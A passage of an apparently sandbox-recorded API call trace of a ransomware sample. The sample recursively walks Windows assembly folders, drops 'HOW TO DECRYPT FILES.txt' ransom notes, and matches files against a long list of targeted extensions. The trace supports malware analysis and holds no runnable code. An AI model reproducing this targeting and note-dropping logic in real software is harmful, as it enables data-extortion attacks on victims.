(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.dwg") returned 0 [0100.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.nd") returned 0 [0100.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.tlg") returned 0 [0100.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.lgb") returned 0 [0100.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.mov") returned 0 [0100.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.xdw") returned 0 [0100.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.ods") returned 0 [0100.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.wav") returned 0 [0100.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.mp3") returned 0 [0100.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.aiff") returned 0 [0100.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.flac") returned 0 [0100.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.m4a") returned 0 [0100.496] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.csv") returned 0 [0100.496] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfc46ec, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0xb0801c00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x60a004c5, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.WSMan.Runtime.dll", cAlternateFileName="")) returned 0 [0100.496] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.497] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0__31bf3856ad364e35", cAlternateFileName="100~1.0__")) returned 0 [0100.497] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.497] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft_VsaVb", cAlternateFileName="MICROS~1")) returned 1 [0100.506] lstrcmpA (lpString1=".", lpString2="Microsoft_VsaVb") returned -1 [0100.506] lstrcmpA (lpString1="..", lpString2="Microsoft_VsaVb") returned -1 [0100.506] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.506] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft_VsaVb" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb" [0100.506] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.507] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.507] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.507] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.507] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.507] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 1 [0100.507] lstrcmpA (lpString1=".", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0100.507] lstrcmpA (lpString1="..", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0100.507] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\*.*") returned="*.*" [0100.507] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\", lpString2="8.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a" [0100.507] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.508] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.508] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.508] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.508] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.508] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfba2078f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfba2078f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa4529c9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft_VsaVb.dll", cAlternateFileName="")) returned 1 [0100.508] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.508] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft_VsaVb.dll") returned -1 [0100.508] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft_VsaVb.dll") returned -1 [0100.508] lstrcmpiA (lpString1="", lpString2="Microsoft_VsaVb.dll") returned -1 [0100.508] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0100.508] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\" [0100.508] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\") returned="" [0100.508] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0100.509] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft_vsavb\\8.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0100.509] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft_vsavb\\8.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.510] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.511] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.511] CloseHandle (hObject=0x90) returned 1 [0100.511] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft_VsaVb.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll" [0100.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.ems") returned 0 [0100.511] lstrlenA (lpString="*.ems") returned 5 [0100.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.db") returned 0 [0100.511] lstrlenA (lpString="*.db") returned 4 [0100.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.dbf") returned 0 [0100.511] lstrlenA (lpString="*.dbf") returned 5 [0100.511] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.myox") returned 0 [0100.511] lstrlenA (lpString="*.myox") returned 6 [0100.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.myo") returned 0 [0100.512] lstrlenA (lpString="*.myo") returned 5 [0100.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.qbw") returned 0 [0100.512] lstrlenA (lpString="*.qbw") returned 5 [0100.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.qbb") returned 0 [0100.512] lstrlenA (lpString="*.qbb") returned 5 [0100.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.qbm") returned 0 [0100.512] lstrlenA (lpString="*.qbm") returned 5 [0100.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.qbo") returned 0 [0100.512] lstrlenA (lpString="*.qbo") returned 5 [0100.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.qbx") returned 0 [0100.512] lstrlenA (lpString="*.qbx") returned 5 [0100.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.qba") returned 0 [0100.512] lstrlenA (lpString="*.qba") returned 5 [0100.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.qby") returned 0 [0100.512] lstrlenA (lpString="*.qby") returned 5 [0100.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.qbj") returned 0 [0100.512] lstrlenA (lpString="*.qbj") returned 5 [0100.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.ofx") returned 0 [0100.512] lstrlenA (lpString="*.ofx") returned 5 [0100.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.qif") returned 0 [0100.512] lstrlenA (lpString="*.qif") returned 5 [0100.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.mye") returned 0 [0100.512] lstrlenA (lpString="*.mye") returned 5 [0100.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.mbox") returned 0 [0100.512] lstrlenA (lpString="*.mbox") returned 6 [0100.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.eml") returned 0 [0100.513] lstrlenA (lpString="*.eml") returned 5 [0100.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.pst") returned 0 [0100.513] lstrlenA (lpString="*.pst") returned 5 [0100.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.ost") returned 0 [0100.513] lstrlenA (lpString="*.ost") returned 5 [0100.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.idx") returned 0 [0100.513] lstrlenA (lpString="*.idx") returned 5 [0100.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.dbx") returned 0 [0100.513] lstrlenA (lpString="*.dbx") returned 5 [0100.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.sql") returned 0 [0100.513] lstrlenA (lpString="*.sql") returned 5 [0100.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.mdb") returned 0 [0100.513] lstrlenA (lpString="*.mdb") returned 5 [0100.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.fdb") returned 0 [0100.513] lstrlenA (lpString="*.fdb") returned 5 [0100.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.wab") returned 0 [0100.513] lstrlenA (lpString="*.wab") returned 5 [0100.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.dat") returned 0 [0100.513] lstrlenA (lpString="*.dat") returned 5 [0100.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.txt") returned 0 [0100.513] lstrlenA (lpString="*.txt") returned 5 [0100.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.jpeg") returned 0 [0100.513] lstrlenA (lpString="*.jpeg") returned 6 [0100.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.jpg") returned 0 [0100.513] lstrlenA (lpString="*.jpg") returned 5 [0100.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.png") returned 0 [0100.514] lstrlenA (lpString="*.png") returned 5 [0100.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.php") returned 0 [0100.514] lstrlenA (lpString="*.php") returned 5 [0100.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.cs") returned 0 [0100.514] lstrlenA (lpString="*.cs") returned 4 [0100.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.cpp") returned 0 [0100.514] lstrlenA (lpString="*.cpp") returned 5 [0100.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.rar") returned 0 [0100.514] lstrlenA (lpString="*.rar") returned 5 [0100.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.zip") returned 0 [0100.514] lstrlenA (lpString="*.zip") returned 5 [0100.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.html") returned 0 [0100.514] lstrlenA (lpString="*.html") returned 6 [0100.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.htm") returned 0 [0100.514] lstrlenA (lpString="*.htm") returned 5 [0100.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.xlsx") returned 0 [0100.514] lstrlenA (lpString="*.xlsx") returned 6 [0100.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.xls") returned 0 [0100.514] lstrlenA (lpString="*.xls") returned 5 [0100.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.mp4") returned 0 [0100.514] lstrlenA (lpString="*.mp4") returned 5 [0100.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.ppt") returned 0 [0100.514] lstrlenA (lpString="*.ppt") returned 5 [0100.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.pptx") returned 0 [0100.514] lstrlenA (lpString="*.pptx") returned 6 [0100.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.doc") returned 0 [0100.515] lstrlenA (lpString="*.doc") returned 5 [0100.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.dot") returned 0 [0100.515] lstrlenA (lpString="*.dot") returned 5 [0100.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.docx") returned 0 [0100.515] lstrlenA (lpString="*.docx") returned 6 [0100.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.7z") returned 0 [0100.515] lstrlenA (lpString="*.7z") returned 4 [0100.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.tar") returned 0 [0100.515] lstrlenA (lpString="*.tar") returned 5 [0100.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.bz2") returned 0 [0100.515] lstrlenA (lpString="*.bz2") returned 5 [0100.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.gz") returned 0 [0100.515] lstrlenA (lpString="*.gz") returned 4 [0100.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.mkv") returned 0 [0100.515] lstrlenA (lpString="*.mkv") returned 5 [0100.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.eml") returned 0 [0100.515] lstrlenA (lpString="*.eml") returned 5 [0100.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.msg") returned 0 [0100.515] lstrlenA (lpString="*.msg") returned 5 [0100.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", 